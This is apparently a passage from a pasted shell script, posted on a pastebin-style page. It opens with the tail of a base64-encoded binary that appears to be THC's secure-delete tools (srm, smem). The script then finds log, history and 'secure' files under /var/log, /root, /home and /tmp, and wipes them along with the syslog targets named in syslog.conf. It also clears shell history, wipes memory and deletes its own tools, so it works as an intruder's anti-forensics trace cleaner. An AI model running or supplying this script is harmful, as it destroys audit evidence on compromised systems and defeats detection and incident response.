  253. ZSBpdC4KAAAAAFJhY2UgZm91bmQhIChkaXJlY3RvcnkgJXMgYmVjYW1lIGEgbGluaykKAAAARmls
  254. ZSAlcyB3YXMgcmFjZWQsIGhlbmNlIEkgd29uJ3Qgd2lwZSBpdC4KAABFcnJvcjogQ2FuJ3QgY2hk
  255. aXIgdG8gJXMgKGFib3J0aW5nKSAtIAAAV2FybmluZzogJXMgaXMgYSBkaXJlY3RvcnkuIEkgd2ls
  256. bCBub3QgcmVtb3ZlIGl0LCBiZWNhdXNlIHRoZSAtciBvcHRpb24gaXMgbWlzc2luZyEKAAAAAFdh
  257. cm5pbmc6ICVzIGlzIG5vdCBhIHJlZ3VsYXIgZmlsZSwgcmVuYW1lL3VubGluayBvbmx5IQAAV2lw
  258. ZSBtb2RlIGlzIGluc2VjdXJlIChvbmUgcGFzcyBbJXNdKQoAAFdpcGUgbW9kZSBpcyBpbnNlY3Vy
  259. ZSAodHdvIHBhc3NlcyBbMHhmZi8lc10pCgAAAFdpcGUgbW9kZSBpcyBzZWN1cmUgKDM4IHNwZWNp
  260. YWwgcGFzc2VzKQBXYXJuaW5nOiBDb3VsZCBub3QgcmVzZXQgdWxpbWl0IGZvciBmaWxlc2l6ZS4K
  261. AABXYXJuaW5nOiBEbyB5b3UgcmVhbGx5IHdhbnQgdG8gcmVtb3ZlIHRoZSBST09UIGRpcmVjdG9y
  262. eT8/CgBJJ20gZ2l2aW5nIHlvdSA1IHNlY29uZHMgdG8gYWJvcnQgLi4uIHByZXNzIENvbnRyb2wt
  263. QwoAAERvaW5nIG15IGV2aWwgd29yayBub3csIGRvbid0IHdoaW1wIGxhdGVyLCB5b3UgaGFkIGJl
  264. ZW4gaW5mb3JtZWQhCgAARmlsZSAlcyB3YXMgcmFjZWQsIGhlbmNlIEkgd29uJ3Qgd2lwZSBpdCEK
  265. AHZoQHRoYy5vcmcAdmFuIEhhdXNlciAvIFRIQwB2My4xAE9wdGlvbnM6AAktdiAgaXMgdmVyYm9z
  266. ZSBtb2RlLgBodHRwOi8vd3d3LnRoYy5vcmcAWW91IGNhbiBmaW5kIHVwZGF0ZXMgYXQgJXMKAFdp
  267. cGluZyAlcyAAQ291bGRuJ3QgZGVsZXRlICVzLiAAIERvbmUALS1oAERkRmZMbFJyU3NWdlp6AC8A
  268. RXJyb3I6IEZpbGUgJXMgLSAAVW5rbm93biBlcnJvcgoAAADglAQIb5QECNCUBAhvlAQIb5QECG+U
  269. BAhvlAQIb5QECMCUBAhvlAQIb5QECG+UBAhvlAQIb5QECLCUBAiolAQIb5QECG+UBAiYlAQIb5QE
  270. CG+UBAhvlAQIiJQECG+UBAhvlAQIb5QECG+UBAhvlAQIb5QECG+UBAhvlAQIb5QECOCUBAhvlAQI
  271. 0JQECG+UBAhvlAQIb5QECG+UBAhvlAQIwJQECG+UBAhvlAQIb5QECG+UBAhvlAQIsJQECKiUBAhv
  272. lAQIb5QECJiUBAhvlAQIb5QECG+UBAiIlAQIUHJvZ3JhbW1pbmcgRXJyb3I6IHNkZWwtbGliIHdh
  273. cyBub3QgaW5pdGlhbGl6ZWQgYmVmb3JlIGNhbGxpbmcgc2RlbF9maW5uaXNoKCkuCgBXYXJuaW5n
  274. OiBjb3VsZCBub3Qgd2lwZSBhbGwgaW5vZGVzIQoAAAAAV2FybmluZzogQ291bGRuJ3QgcmVuYW1l
  275. ICVzIC0gAABXYXJuaW5nOiBDb3VsZG4ndCBmaW5kIGEgZnJlZSBmaWxlbmFtZSBmb3IgJXMhCgBX
  276. YXJuaW5nOiBVbmFibGUgdG8gcmVtb3ZlIGRpcmVjdG9yeSAlcyAtIAAAAFdhcm5pbmc6IFVuYWJs
  277. ZSB0byB1bmxpbmsgZmlsZSAlcyAtIAAAAABQcm9ncmFtbWluZyBFcnJvcjogc2RlbC1saWIgd2Fz
  278. IG5vdCBpbml0aWFsaXplZCBiZWZvcmUgc2RlbF9vdmVyd3JpdGUoKS4KAAAAcgAvZGV2L3VyYW5k
  279. b20AVXNpbmcgJXMgZm9yIHJhbmRvbSBpbnB1dC4KAFdpcGluZyBpbm9kZXMgLi4uACBEb25lIC4u
  280. LiAAUmVtb3ZlZCBkaXJlY3RvcnkgJXMgLi4uACBSZW1vdmVkIGZpbGUgJXMgLi4uAHIrYgAAAAAA
  281. gEMAAAAwARsDOyAAAAADAAAAfPb//zwAAACM9v//XAAAAOb2//+IAAAAFAAAAAAAAAABelIAAXwI
  282. ARsMBASIAQAAHAAAABwAAAA49v//BQAAAABBDgiFAkINBUHFDAQEAAAoAAAAPAAAACj2//9aAAAA
  283. AEEOCIUCQg0FQ4MFhgSHAwJQw0HGQcdBxQwEBBAAAABoAAAAVvb//wQAAAAAAAAAAAAAAAAAAAAA
  284. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  285. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  286. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  287. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  288. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  289. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  290. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////wAAAAD/////AAAAAAAAAAABAAAA
  291. EAAAAAwAAACoiAQIDQAAAPykBAj1/v9vjIEECAUAAADshAQIBgAAALyBBAgKAAAAhgEAAAsAAAAQ
  292. AAAAFQAAAAAAAAADAAAA4LAECAIAAABwAQAAFAAAABEAAAAXAAAAOIcECBEAAAAYhwQIEgAAACAA
  293. AAATAAAACAAAAP7//2/YhgQI////bwEAAADw//9vcoYECAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  294. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUsAQIAAAAAAAAAADuiAQI/ogECA6JBAgeiQQI
  295. LokECD6JBAhOiQQIXokECG6JBAh+iQQIjokECJ6JBAiuiQQIvokECM6JBAjeiQQI7okECP6JBAgO
  296. igQIHooECC6KBAg+igQITooECF6KBAhuigQIfooECI6KBAieigQIrooECL6KBAjOigQI3ooECO6K
  297. BAj+igQIDosECB6LBAguiwQIPosECE6LBAheiwQIbosECH6LBAiOiwQInosECK6LBAi+iwQIAAAA
  298. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  299. VVVVqqqqkkkkSSSSJJJJAAAAERERIiIiMzMzREREVVVVZmZmd3d3iIiImZmZqqqqu7u7zMzM3d3d
  300. 7u7u////kkkkSSSSJJJJbbbbtttt2222////AAAAAEdDQzogKEdOVSkgNC40LjcgMjAxMjAzMTMg
  301. KFJlZCBIYXQgNC40LjctMTYpAAAuc2hzdHJ0YWIALmludGVycAAubm90ZS5BQkktdGFnAC5ub3Rl
  302. LmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251
  303. LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5l
  304. aF9mcmFtZV9oZHIALmVoX2ZyYW1lAC5jdG9ycwAuZHRvcnMALmpjcgAuZHluYW1pYwAuZ290AC5n
  305. b3QucGx0AC5kYXRhAC5ic3MALmNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  306. AAAAAAAAAAAAAAAAAAsAAAABAAAAAgAAADSBBAg0AQAAEwAAAAAAAAAAAAAAAQAAAAAAAAATAAAA
  307. BwAAAAIAAABIgQQISAEAACAAAAAAAAAAAAAAAAQAAAAAAAAAIQAAAAcAAAACAAAAaIEECGgBAAAk
  308. AAAAAAAAAAAAAAAEAAAAAAAAADQAAAD2//9vAgAAAIyBBAiMAQAAMAAAAAUAAAAAAAAABAAAAAQA
  309. AAA+AAAACwAAAAIAAAC8gQQIvAEAADADAAAGAAAAAQAAAAQAAAAQAAAARgAAAAMAAAACAAAA7IQE
  310. COwEAACGAQAAAAAAAAAAAAABAAAAAAAAAE4AAAD///9vAgAAAHKGBAhyBgAAZgAAAAUAAAAAAAAA
  311. AgAAAAIAAABbAAAA/v//bwIAAADYhgQI2AYAAEAAAAAGAAAAAQAAAAQAAAAAAAAAagAAAAkAAAAC
  312. AAAAGIcECBgHAAAgAAAABQAAAAAAAAAEAAAACAAAAHMAAAAJAAAAAgAAADiHBAg4BwAAcAEAAAUA
  313. AAAMAAAABAAAAAgAAAB8AAAAAQAAAAYAAACoiAQIqAgAADAAAAAAAAAAAAAAAAQAAAAAAAAAdwAA
  314. AAEAAAAGAAAA2IgECNgIAADwAgAAAAAAAAAAAAAEAAAABAAAAIIAAAABAAAABgAAANCLBAjQCwAA
  315. LBkAAAAAAAAAAAAAEAAAAAAAAACIAAAAAQAAAAYAAAD8pAQI/CQAABwAAAAAAAAAAAAAAAQAAAAA
  316. AAAAjgAAAAEAAAACAAAAGKUECBglAADMCAAAAAAAAAAAAAAEAAAAAAAAAJYAAAABAAAAAgAAAOSt
  317. BAjkLQAAJAAAAAAAAAAAAAAABAAAAAAAAACkAAAAAQAAAAIAAAAIrgQICC4AAHwAAAAAAAAAAAAA
  318. AAQAAAAAAAAArgAAAAEAAAADAAAAALAECAAwAAAIAAAAAAAAAAAAAAAEAAAAAAAAALUAAAABAAAA
  319. AwAAAAiwBAgIMAAACAAAAAAAAAAAAAAABAAAAAAAAAC8AAAAAQAAAAMAAAAQsAQIEDAAAAQAAAAA
  320. AAAAAAAAAAQAAAAAAAAAwQAAAAYAAAADAAAAFLAECBQwAADIAAAABgAAAAAAAAAEAAAACAAAAMoA
  321. AAABAAAAAwAAANywBAjcMAAABAAAAAAAAAAAAAAABAAAAAQAAADPAAAAAQAAAAMAAADgsAQI4DAA
  322. AMQAAAAAAAAAAAAAAAQAAAAEAAAA2AAAAAEAAAADAAAAwLEECMAxAAB4AAAAAAAAAAAAAAAgAAAA
  323. AAAAAN4AAAAIAAAAAwAAAECyBAg4MgAASAAAAAAAAAAAAAAAIAAAAAAAAADjAAAAAQAAADAAAAAA
  324. AAAAODIAAC0AAAAAAAAAAAAAAAEAAAABAAAAAQAAAAMAAAAAAAAAAAAAAGUyAADsAAAAAAAAAAAA
  325. AAABAAAAAAAAAA==
  326. EOF
  327. echo -e "\e[0;36m[\e[1;31m*\e[0;36m] Preparing secure RAM wiper\e[0m""\e[0;36m[\e[1;31m*\e[0;36m] Setting execute permission to srm and smem\e[0m"
  328. chmod +x srm smem
  329. echo -e "\e[0;36m[\e[1;31m*\e[0;36m] Finding the log files..\e[0m"
  330. find /var/log/ /root/ /home/ /tmp/ -type f \( -name "*log" -o -name "messages*" -o -name "secure*" -o -name "*history" -o -name "*logout" -o -name "*tmp" \) -print0|while read -d $'\0' logs ; do
  331. echo -e "\e[0;32m[\e[1;31m*\e[0;32m]\e[0m \e[0;33m\t`du -sh "$logs" 2>> /dev/null`\e[0m"
  332. ./srm -vz "$logs"
  333. done
  334. echo -e "\e[0;36m[\e[1;31m*\e[0;36m] Cleaning new logs in \e[0;31m/etc/syslog.conf\e[0m"
  335. SYSL0G=$(cat /etc/syslog.conf | grep -v "/dev/" | grep -v "@" | grep "*" | grep -v "#" | awk '{print $2}' | grep -v "*" | sed "s/-\\//\\//")
  336. for syslogd in $SYSL0G ; do
  337. echo -e "\e[0;36m[\e[1;31m*\e[0;36m] Cleaning \e[0;31m$syslogd\e[0m"
  338. if [ ! -f $syslogd ]; then
  339. echo -e "\e[0;32m[\e[1;31m*\e[0;32m]\e[0m \e[0;31m$syslogd\e[0m: file not found!"
  340. else
  341. echo -e "\e[0;32m[\e[1;31m*\e[0;32m]\e[0m `du -sh "$syslogd" 2>> /dev/null`"
  342. ./srm -vz "$syslogd"
  343. fi
  344. done
  345. echo -e "\e[0;36m[\e[1;31m*\e[0;36m] Cleaning RAM\e[0m"
  346. set HISTSIZE=0
  347. set HISTFILESIZE=0
  348. set HISTFILE=/dev/null
  349. history -c
  350. ./smem -v
  351. rm -rf smem srm
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement